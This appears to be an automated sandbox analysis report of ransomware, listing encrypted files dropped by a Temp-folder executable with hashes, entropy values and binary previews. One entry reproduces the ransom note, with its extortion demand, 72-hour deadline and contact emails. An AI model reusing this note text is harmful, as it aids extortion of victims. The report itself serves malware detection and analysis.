                                                                                                                                                                Preview:.n~.....V...".AQ..]..K..if.3...t.9;..=.cp~.e.|r..i./..l.vDY5.*N........Azf........ .{k>..FGf...tS.:^6..t!....I.'....N.......1..4k.......q.q.=6........v{ .....#2[H.J=?.A.7s|...+....R\.h..o^....b..FZ...e .....x.l...NB.B#.....w..u;..m.n.f..|t..k.:...6.E...Bm..]larb....o..Ec++...+Ot...7.....DW.4..A~..fZ..k..m..QUcd.b@j..Z.G....N...M".<s".O.b..IZ...63y.....2.".....,..6..9(..+...S..;d..)..N..Z"nG..+...........'........B7..Qe.p.H..Q.+t.fMU.s.....h*..r.....W5.e.......&4EI.@............E^:.N}.3..{.1....I.......G/e.&.8...?.t...1..R....9g..}.T+..O..Pb.~%..Y3.Xq.P.......".......#-..FE6.....'UL...e...0.1i.H.3....Wp..X.".M.0."..{H.#.*....].`.... ..r1...V.t.D.D..~.].{.<.!..u.<.e.....O...C..R...3....,W...6D.Z.....G...n.6k.l......(m.#..O..I........f.u..!R......|......$.H\....`x...3.|..R}V.=....jDO..c.,c).+.....d..._.4..j.1 z.'Z.......Ak.y3.:]...v.......GWrn.y...0.(A*."...->......h...V.N ...6.......@..#....m.|X...p.n`<.-....P.1.z-........l....rek..tOU.1.{.(.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.866860806197992
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:wxEIZsLFe7oxFq2j2lyuftlyossPVXlQtaKJUHvUw2ktryg+xnmF:5IqLc0xFqZ9+os8QX0+xmF
                                                                                                                                                                MD5:3D6BF43E9F54C9225461C360DD9DF830
                                                                                                                                                                SHA1:D32D6AD4C329D99216681CF49070FB93C6C2E69E
                                                                                                                                                                SHA-256:602BC0FF990E706BB071062C707CEE280C0498CD34F9EF2DED714D90F850DF9B
                                                                                                                                                                SHA-512:04214DCFF2040F3C953F7B72957B59F8DD32AE4C0EE3F25D0243687F2E42A603D3F8BC43CD13DFEDD9EAEFB1FDBDD98AD37EA74593C7A7C91D1E651097A5B62A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Sko"..A.#.w....Z...ku..9..I...........p(...$....cM.......X"X. .......WP.n.'..s...a_._H..U..+..Pk4....R.q..A.ne.^v..-GQ..=~..jwY. w.........m...|4.........o..A....../....5.E..=4z8.Ku.E..j............y...~q/S}..=.F..v...7s_M......b.7o*..l.]..1.$!v].......<.....f..]....l.....V.]...l...0R"Yb..o.#].To..1...%..a\.D...s~.l.6.J.G.Eb..6.....v.+..&.y.KQ.....Y.97H.n.:...Ie....`.&3...zr...>\.1Dw..FM....Il.= G.....(.a...5..L.)...........^.#9kt..H........K......]J.k......r..9.x ../..0<.DZ..W..44...H......v.6.?.UN!.......*...nX..%......W../~......L...U....k..I).J.......@..^.t...F...LxK.&.D&.B...C..W.o_^H*).,x.? .-_.J.xc..r;....@..T.lq.O.r.0"...&..wj@.@...M...*..sn=#/....a|.[.s~^..`.....*.t...X.m2.@...V.x..Qc..`r(\=|.?.....T......$?,D.?.i.'6,|g.#b......%.o8.gi....R.GEz.......)..d..?..7.a..X......"..U1.K..q.bKt.Bf.x...ZG~+....).1.....F.......0.)S...-.......S..".n.D/S(Q2w1.aip.!].Ym..&sDQbwb}.E..C..&...e.b....>k.yU'..^1..A..rvh..T.......x4.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.866860806197992
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:wxEIZsLFe7oxFq2j2lyuftlyossPVXlQtaKJUHvUw2ktryg+xnmF:5IqLc0xFqZ9+os8QX0+xmF
                                                                                                                                                                MD5:3D6BF43E9F54C9225461C360DD9DF830
                                                                                                                                                                SHA1:D32D6AD4C329D99216681CF49070FB93C6C2E69E
                                                                                                                                                                SHA-256:602BC0FF990E706BB071062C707CEE280C0498CD34F9EF2DED714D90F850DF9B
                                                                                                                                                                SHA-512:04214DCFF2040F3C953F7B72957B59F8DD32AE4C0EE3F25D0243687F2E42A603D3F8BC43CD13DFEDD9EAEFB1FDBDD98AD37EA74593C7A7C91D1E651097A5B62A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:Sko"..A.#.w....Z...ku..9..I...........p(...$....cM.......X"X. .......WP.n.'..s...a_._H..U..+..Pk4....R.q..A.ne.^v..-GQ..=~..jwY. w.........m...|4.........o..A....../....5.E..=4z8.Ku.E..j............y...~q/S}..=.F..v...7s_M......b.7o*..l.]..1.$!v].......<.....f..]....l.....V.]...l...0R"Yb..o.#].To..1...%..a\.D...s~.l.6.J.G.Eb..6.....v.+..&.y.KQ.....Y.97H.n.:...Ie....`.&3...zr...>\.1Dw..FM....Il.= G.....(.a...5..L.)...........^.#9kt..H........K......]J.k......r..9.x ../..0<.DZ..W..44...H......v.6.?.UN!.......*...nX..%......W../~......L...U....k..I).J.......@..^.t...F...LxK.&.D&.B...C..W.o_^H*).,x.? .-_.J.xc..r;....@..T.lq.O.r.0"...&..wj@.@...M...*..sn=#/....a|.[.s~^..`.....*.t...X.m2.@...V.x..Qc..`r(\=|.?.....T......$?,D.?.i.'6,|g.#b......%.o8.gi....R.GEz.......)..d..?..7.a..X......"..U1.K..q.bKt.Bf.x...ZG~+....).1.....F.......0.)S...-.......S..".n.D/S(Q2w1.aip.!].Ym..&sDQbwb}.E..C..&...e.b....>k.yU'..^1..A..rvh..T.......x4.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8603103807141155
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:r3pib+9ZeFAa/luhU5nxNGkcDmzFbv55PMbJhP1nBfKMWME3sd0u9qowxeh0bm:r3YAZiAjUlGV2FLrPq3PtBeME3W0u9qK
                                                                                                                                                                MD5:F6A69301774A7677F27A3BA935E3783B
                                                                                                                                                                SHA1:B8E658A2462C548BDE672DB1338DE01294195912
                                                                                                                                                                SHA-256:4B992D8D4DFE41A1312A08A43280134428B45E87F815432F5455199A1C337D75
                                                                                                                                                                SHA-512:25F656C2AFC21F6015B068FACD26940AD34BF3CE3D9C51FB4B89735D5C8DB75798C45FA8CAB9DFD57C9F73549FDD8F7A95346B5025F0D3D3485C08ECB941CD8A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..nv....s#x.1T!..i,...4....7.*...:...).-..^...l....{..?E=...Q..m..4s.wz>...v..*.."ei0.Tx..Q.*3=f...^g.G.*.0.0w&oBj........u.........YC.5.Lx...1.WP.K.E./....../.V]C...).8.S.#..'}EK.3..YIEE.....k.H..DA.>N.U.N..R.u.&f..>.~.@.7~....{%.6'J...G5u.....A..O.&{..|...(q|.Z.{..j.e.#...._.+..R...<*ep........a...0......$).o8...c...{_Wmkv.^....#...n....d`...ZA7s.s...czcJ.&..t."!.4..Z.U.A...?.....LF..V.1.1....ju.HC...G...8....0..Q.2.c....k...Pe!.G..^.....Z;.g..b0...@.....k.$>2/T.....u....(V.Fgs.\..P.a.h....o..;aG....|..q...{I.S..\..a......t..v...Dt1.6..@..F.FCI.e...i.5.....=uB..{.YZ>IMv.[..B.....mj....I`.I.......Z.l.l....$.t..M.....5.&......o{....9...m.~....S...*[4.$..s..Zd.....7{....-.l. ..bb....u'.?.j.f.n.....j.;.;.T.@.......%!.*7N.{......?....o..t......... .B.".S..+gh'L..=..G.| ...$5'.{.*B...jx.b:.]*CBI.....x.......>. ....0R8k.;.6.....xk..A..zK..6{.0d......t!.*..Ke$}....B...$x..7..U...Q`<13....iC.W.5...F...q6;..=t.k...9..6eB.a..[".../...d..y..c
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8603103807141155
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:r3pib+9ZeFAa/luhU5nxNGkcDmzFbv55PMbJhP1nBfKMWME3sd0u9qowxeh0bm:r3YAZiAjUlGV2FLrPq3PtBeME3W0u9qK
                                                                                                                                                                MD5:F6A69301774A7677F27A3BA935E3783B
                                                                                                                                                                SHA1:B8E658A2462C548BDE672DB1338DE01294195912
                                                                                                                                                                SHA-256:4B992D8D4DFE41A1312A08A43280134428B45E87F815432F5455199A1C337D75
                                                                                                                                                                SHA-512:25F656C2AFC21F6015B068FACD26940AD34BF3CE3D9C51FB4B89735D5C8DB75798C45FA8CAB9DFD57C9F73549FDD8F7A95346B5025F0D3D3485C08ECB941CD8A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..nv....s#x.1T!..i,...4....7.*...:...).-..^...l....{..?E=...Q..m..4s.wz>...v..*.."ei0.Tx..Q.*3=f...^g.G.*.0.0w&oBj........u.........YC.5.Lx...1.WP.K.E./....../.V]C...).8.S.#..'}EK.3..YIEE.....k.H..DA.>N.U.N..R.u.&f..>.~.@.7~....{%.6'J...G5u.....A..O.&{..|...(q|.Z.{..j.e.#...._.+..R...<*ep........a...0......$).o8...c...{_Wmkv.^....#...n....d`...ZA7s.s...czcJ.&..t."!.4..Z.U.A...?.....LF..V.1.1....ju.HC...G...8....0..Q.2.c....k...Pe!.G..^.....Z;.g..b0...@.....k.$>2/T.....u....(V.Fgs.\..P.a.h....o..;aG....|..q...{I.S..\..a......t..v...Dt1.6..@..F.FCI.e...i.5.....=uB..{.YZ>IMv.[..B.....mj....I`.I.......Z.l.l....$.t..M.....5.&......o{....9...m.~....S...*[4.$..s..Zd.....7{....-.l. ..bb....u'.?.j.f.n.....j.;.;.T.@.......%!.*7N.{......?....o..t......... .B.".S..+gh'L..=..G.| ...$5'.{.*B...jx.b:.]*CBI.....x.......>. ....0R8k.;.6.....xk..A..zK..6{.0d......t!.*..Ke$}....B...$x..7..U...Q`<13....iC.W.5...F...q6;..=t.k...9..6eB.a..[".../...d..y..c
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.851353964338654
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:asI1ROrDH0OLDqZgNnbtwfW0TyS3Js/xw6rYRDAmMQAu8ZoK:asICXH0EDi+btwfH+S3Js/xtURDTMQHC
                                                                                                                                                                MD5:6B7CD19356D44CD285613F0DD8B54635
                                                                                                                                                                SHA1:C6EABCCAF44D302A8221F7C7402BAE882B76B0D4
                                                                                                                                                                SHA-256:CCD4FC31409596FC48FE6B8AA4B89B5BF04D6579F5FCA8213A447EF66F482840
                                                                                                                                                                SHA-512:6B695DE6D283F304E73F8EE0AB22F8A4D879197D48148ECB1B30DD0D0834C6D866783D87A78CA7A5B681DA5CE94EC17A17ABBE8137B2D73835F4183B957FB655
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:s...-...Uk..mF.un.....{.n..)e..Kt.Q......gP_.."...6p......?.K.Cd.Xk....7..KN..A....$"....j?.a....C..0.eZ.......S..#...B.+...x.W.I..|`.G.T...k./..1.z...e.qx.Rxo..qs7..2x.m(8..-.Y.Cr*:.R....z..;...yu.&.I.=..1..k......<...L?..cd.kC.].=|.P...8.-.....C...<Ph1_q..-U.......!.....F1.....9..-M.p.^.M..F<`a.V.yUY.AlB._|.g...Z>.t....-....`.?:.Rg........u.l=oZ4W..@]s.Cx..%.c..."...<.76Pb%..]..........7v..n. %L......./.dh.=U"....C......Y....TN.uLz:..<{P.u..&.|........N.V.F$a.S..Z.!..@..=.8........1..d.fB.hR.|....P..,.*3......7'"8....."....DK.uT..Bl.3K_.y..Fg.&b..4m$..\Hd.@....4e...5.L. &..b.......s.........k%.0......u.=..._.Am...F..'.....)........ .l...e.j..v8m.)..,....Bz._.p*F...T......."<67...@o..n....$..jK.iJ...A..........{@LZ..+f..\.d.Etj..{K*]>.-......!...18.t.a.E/...?.....z.A...E.S....(m.k...a..2...C.wO.!.d...E...}.3"..n"D.......p.x..[..'..dI..G.<.e#.$C..+...B3$.~m...\.a8..W..r..F..l....m.].).X..T.,f.|QX.y..7......wH.E.....[/..d....?...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.851353964338654
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:asI1ROrDH0OLDqZgNnbtwfW0TyS3Js/xw6rYRDAmMQAu8ZoK:asICXH0EDi+btwfH+S3Js/xtURDTMQHC
                                                                                                                                                                MD5:6B7CD19356D44CD285613F0DD8B54635
                                                                                                                                                                SHA1:C6EABCCAF44D302A8221F7C7402BAE882B76B0D4
                                                                                                                                                                SHA-256:CCD4FC31409596FC48FE6B8AA4B89B5BF04D6579F5FCA8213A447EF66F482840
                                                                                                                                                                SHA-512:6B695DE6D283F304E73F8EE0AB22F8A4D879197D48148ECB1B30DD0D0834C6D866783D87A78CA7A5B681DA5CE94EC17A17ABBE8137B2D73835F4183B957FB655
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:s...-...Uk..mF.un.....{.n..)e..Kt.Q......gP_.."...6p......?.K.Cd.Xk....7..KN..A....$"....j?.a....C..0.eZ.......S..#...B.+...x.W.I..|`.G.T...k./..1.z...e.qx.Rxo..qs7..2x.m(8..-.Y.Cr*:.R....z..;...yu.&.I.=..1..k......<...L?..cd.kC.].=|.P...8.-.....C...<Ph1_q..-U.......!.....F1.....9..-M.p.^.M..F<`a.V.yUY.AlB._|.g...Z>.t....-....`.?:.Rg........u.l=oZ4W..@]s.Cx..%.c..."...<.76Pb%..]..........7v..n. %L......./.dh.=U"....C......Y....TN.uLz:..<{P.u..&.|........N.V.F$a.S..Z.!..@..=.8........1..d.fB.hR.|....P..,.*3......7'"8....."....DK.uT..Bl.3K_.y..Fg.&b..4m$..\Hd.@....4e...5.L. &..b.......s.........k%.0......u.=..._.Am...F..'.....)........ .l...e.j..v8m.)..,....Bz._.p*F...T......."<67...@o..n....$..jK.iJ...A..........{@LZ..+f..\.d.Etj..{K*]>.-......!...18.t.a.E/...?.....z.A...E.S....(m.k...a..2...C.wO.!.d...E...}.3"..n"D.......p.x..[..'..dI..G.<.e#.$C..+...B3$.~m...\.a8..W..r..F..l....m.].).X..T.,f.|QX.y..7......wH.E.....[/..d....?...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8155377162761015
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:O+fhHx040Qnh4Iwa9ExAuaKxIOkM7Yr6pqTNB6HDP59Wv:7s4CaSxpxBpqTN0L59i
                                                                                                                                                                MD5:73E60305446239B24BC63B92FEAFE7A7
                                                                                                                                                                SHA1:DEAB627CD905D95C9A0860A28822D875422AC2E2
                                                                                                                                                                SHA-256:934F568D0D126D2716DBEC32FD334166180D7983CF2BF06703087E2D4DA05F27
                                                                                                                                                                SHA-512:39B42101B86F49081A0DC7EC93FA9D939A6E2245B016A2D8B78BAF4E05A5C1EB6E1527F186BCDA951B0B0CF073519511FFF1990798B73CC06969835F803DA256
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:H+..sk).+...mz...vC....a.....*.D..|2..F.9..m..K.U...[s...k...a8.N...x.{....M....vQq.......!.sjB..1j.eF...z.....K2dV...y.X..D.P.B.|..O....pjJ/...q ...H....v...|.h.^.c....E{-........N...6..s5A..:...P.V>....>.,..~F[.W~\........,.b.jk{.dd...MC.....Wt.R..... ...{....@...O..s.6....!...D..=........~.$8(.A...+?"..D.as.....\._x&...:.*.......2..a.%..@Az....\...\!..8.p.e..I.9z....F....d..5..|...o.=.P.eE.M~v.X<..s. ..No.....9....p..!.W........L\.....E.w....N....|--AW95..f...HP..[o.........~w.....-Kh.c.@.Uf.?=.yO.&..`.r.[.=..._.C..F0+$.....T.....I.i.`.t..R......qbxLYV....T.}e......Oae./......(.....B......C.pV......k.S.T..9.U|3.5...]...x......v..CzY.....t....&.1..{!.> ..U.'...ca....a..?..&..}..Q......{].>..P..D.D..h.../..w_p."8..T..=..4......}.#...!..P...+.n.!......|..B-...~N-X<l.K..g..`...i..p..`.a.......#...8.4f.Kp.QL6#.....3...DCk..k..B...D{....x.q.m.W.....W(.w../kU..[K...Az.<|.6.y...&..OA..WA..pM..G...r{)v.<..o.J...%...W&..~..8...WW7.......T..\
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8155377162761015
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:O+fhHx040Qnh4Iwa9ExAuaKxIOkM7Yr6pqTNB6HDP59Wv:7s4CaSxpxBpqTN0L59i
                                                                                                                                                                MD5:73E60305446239B24BC63B92FEAFE7A7
                                                                                                                                                                SHA1:DEAB627CD905D95C9A0860A28822D875422AC2E2
                                                                                                                                                                SHA-256:934F568D0D126D2716DBEC32FD334166180D7983CF2BF06703087E2D4DA05F27
                                                                                                                                                                SHA-512:39B42101B86F49081A0DC7EC93FA9D939A6E2245B016A2D8B78BAF4E05A5C1EB6E1527F186BCDA951B0B0CF073519511FFF1990798B73CC06969835F803DA256
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:H+..sk).+...mz...vC....a.....*.D..|2..F.9..m..K.U...[s...k...a8.N...x.{....M....vQq.......!.sjB..1j.eF...z.....K2dV...y.X..D.P.B.|..O....pjJ/...q ...H....v...|.h.^.c....E{-........N...6..s5A..:...P.V>....>.,..~F[.W~\........,.b.jk{.dd...MC.....Wt.R..... ...{....@...O..s.6....!...D..=........~.$8(.A...+?"..D.as.....\._x&...:.*.......2..a.%..@Az....\...\!..8.p.e..I.9z....F....d..5..|...o.=.P.eE.M~v.X<..s. ..No.....9....p..!.W........L\.....E.w....N....|--AW95..f...HP..[o.........~w.....-Kh.c.@.Uf.?=.yO.&..`.r.[.=..._.C..F0+$.....T.....I.i.`.t..R......qbxLYV....T.}e......Oae./......(.....B......C.pV......k.S.T..9.U|3.5...]...x......v..CzY.....t....&.1..{!.> ..U.'...ca....a..?..&..}..Q......{].>..P..D.D..h.../..w_p."8..T..=..4......}.#...!..P...+.n.!......|..B-...~N-X<l.K..g..`...i..p..`.a.......#...8.4f.Kp.QL6#.....3...DCk..k..B...D{....x.q.m.W.....W(.w../kU..[K...Az.<|.6.y...&..OA..WA..pM..G...r{)v.<..o.J...%...W&..~..8...WW7.......T..\
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.841957000196254
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:eSpxzCETVAlBggighTeAGeFVN4ztrKK7HCtG/jgsHxLqmacy8Uvn3g4fSvZ4kcoM:pJEgZghNGeFVNyrNiuMsMma8UPg4Kv5q
                                                                                                                                                                MD5:30BB0A005BA7A125E392D55B2B0E3072
                                                                                                                                                                SHA1:A29F5A9711D31D59481F96A606D554B13BB66AD6
                                                                                                                                                                SHA-256:B45BFEC7E07D5EB0CEE884F4B408E44CE59B21FE0D47037A55A0689636404236
                                                                                                                                                                SHA-512:01E6C2CC6467537EF696251DD607B18D8CA7A37FE4FBD96177AC583E72723337D2133922E51294E6C318FE7EB5643ACFC6FFD1E9C7D14AC9603D65DF83D8BDD9
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...Bw..,.k....: ....ptz...%Q.?6.q.Pq....O..'...xh.@6...r.......-..dQ.6....Y.K..?..(.. N.."./....R...y..}..p.gXZ.e..r.<...h..Jl.P..L..SIG.&G....x.d...|.s.......*.u...?..P.*....r[.d..S...5.2../.b ...b..V..su....azV.S....3s+~.[........@.j.zF.....R..l8po....F.w3.[C<8.w5...G..2. ..xZ.)+zs#.O/z@Z........TB....x(0>.......o.I...~j...Z.[..!..,!..:....H..F..%..^.,LHV......H&[&./.....bsA. .W..R..L#...\......|.."@...$I..g.|.Ca.......jT.C.N{..m...d.?.8]h..l.}...Pk..#.b.g......0G(v.k.< ....z.17...$:.XA...y..Z0.p.....k.U..?....r...c..].m._.a.@.....1TH.....]q...Z..y....;..P.O...s.."...O^T+....6.)............0...V...)........7po.....:.D...9.M........:...y....R.....1c..z).o..?.VS....K....3..oF....~...g3.7q..C,...BK.Z....j...`P.........9'.........-.......e7.91s7...q..e.y..X.E....6.ne.A..RV...BU..|G.O.....Z/X?....a..#.H.p.uM....n7.....'.F[..N...C.%.;n.....*.."................J.Y.W.(.%....w~......1~...F_..kK.H..g^.W.....Z....)...:.....q...1q..F.g........
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.841957000196254
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:eSpxzCETVAlBggighTeAGeFVN4ztrKK7HCtG/jgsHxLqmacy8Uvn3g4fSvZ4kcoM:pJEgZghNGeFVNyrNiuMsMma8UPg4Kv5q
                                                                                                                                                                MD5:30BB0A005BA7A125E392D55B2B0E3072
                                                                                                                                                                SHA1:A29F5A9711D31D59481F96A606D554B13BB66AD6
                                                                                                                                                                SHA-256:B45BFEC7E07D5EB0CEE884F4B408E44CE59B21FE0D47037A55A0689636404236
                                                                                                                                                                SHA-512:01E6C2CC6467537EF696251DD607B18D8CA7A37FE4FBD96177AC583E72723337D2133922E51294E6C318FE7EB5643ACFC6FFD1E9C7D14AC9603D65DF83D8BDD9
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...Bw..,.k....: ....ptz...%Q.?6.q.Pq....O..'...xh.@6...r.......-..dQ.6....Y.K..?..(.. N.."./....R...y..}..p.gXZ.e..r.<...h..Jl.P..L..SIG.&G....x.d...|.s.......*.u...?..P.*....r[.d..S...5.2../.b ...b..V..su....azV.S....3s+~.[........@.j.zF.....R..l8po....F.w3.[C<8.w5...G..2. ..xZ.)+zs#.O/z@Z........TB....x(0>.......o.I...~j...Z.[..!..,!..:....H..F..%..^.,LHV......H&[&./.....bsA. .W..R..L#...\......|.."@...$I..g.|.Ca.......jT.C.N{..m...d.?.8]h..l.}...Pk..#.b.g......0G(v.k.< ....z.17...$:.XA...y..Z0.p.....k.U..?....r...c..].m._.a.@.....1TH.....]q...Z..y....;..P.O...s.."...O^T+....6.)............0...V...)........7po.....:.D...9.M........:...y....R.....1c..z).o..?.VS....K....3..oF....~...g3.7q..C,...BK.Z....j...`P.........9'.........-.......e7.91s7...q..e.y..X.E....6.ne.A..RV...BU..|G.O.....Z/X?....a..#.H.p.uM....n7.....'.F[..N...C.%.;n.....*.."................J.Y.W.(.%....w~......1~...F_..kK.H..g^.W.....Z....)...:.....q...1q..F.g........
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.860237472208263
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jwGbLyJWXVb6tll5Lunl7ow3X8Se+VhZnlX3JGK2o16jk4X:jRyAXstllRuwSe+xJZGTz
                                                                                                                                                                MD5:5E6D96E99C9D61BD42866E2AD2E04498
                                                                                                                                                                SHA1:659FA75F881D1A0393EC9C16CE37FA85DADDFBC6
                                                                                                                                                                SHA-256:11A238D1F9B9AD5349666796D50917E729759C62F6FA2EDBA43514345DC7E5B4
                                                                                                                                                                SHA-512:1A533437E766F5D184126AF0627B6B9D3AC8AE567EBF49FC029EBAFA766139C0474ACD9E34BB231756EB5DCB931C6050E30F90E37B18EE7F5839FE0A818148A8
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....ec.s...X...f....xL..>f.h.I`.).vX,~...v1l...&.&......FK.\....[."Z4..Y.&s5.....E_~1....WF..W..C.C..X....:.;.Kr..K/........i..~.P.{Oa.2...F...7...7o...yQ....?b$..h..%yK.@V.OZNe,...#F..E)...,....=...j..H.V..5._.o,...J...^..1.........4... .."r\5Q.0.L6..u.U#..az......i.......Y...3#...{.&.2B.....k..Ja.....7..uU...,.....+....I8H.|....A..!...>\....<G..A.;........m.@.H...........,.Q.N..F.....%...C....'N,..~..Q;..[..9..*.>.j.`.V.Q...P..a.{.O!.{/IS..mXo>..p.R.=r.0..{b...~.|u.2. ,.....2uhh..1....o...\.H.6.S.w$.e!.s....t.?b.T.0..........=i.D..Z.?..S....C....V7...........sem.q...R.=.>=...*...p-...%.]U......9..JW...k/.u....%@.D....;..b.k{..h....ap......#.{s/.v.^(.o.).....<>M.p....zC.2...[=..[b.....ug.....j+.....P.Y.0Pk.U........n.J..!....$.PpKgp..=...6T..#r...~._.y+l.L...,...F..R.`.......z..F.... \.$:.Av.G...l..T.8.A./.........."..~b..U...Z...8..W....%1!.Dbi...~....Dy.Q.........)W.nv....P......$C.....J1.S.~m.K../..ec.1g..F(..N..}...P........
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.860237472208263
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jwGbLyJWXVb6tll5Lunl7ow3X8Se+VhZnlX3JGK2o16jk4X:jRyAXstllRuwSe+xJZGTz
                                                                                                                                                                MD5:5E6D96E99C9D61BD42866E2AD2E04498
                                                                                                                                                                SHA1:659FA75F881D1A0393EC9C16CE37FA85DADDFBC6
                                                                                                                                                                SHA-256:11A238D1F9B9AD5349666796D50917E729759C62F6FA2EDBA43514345DC7E5B4
                                                                                                                                                                SHA-512:1A533437E766F5D184126AF0627B6B9D3AC8AE567EBF49FC029EBAFA766139C0474ACD9E34BB231756EB5DCB931C6050E30F90E37B18EE7F5839FE0A818148A8
                                                                                                                                                                Malicious:false
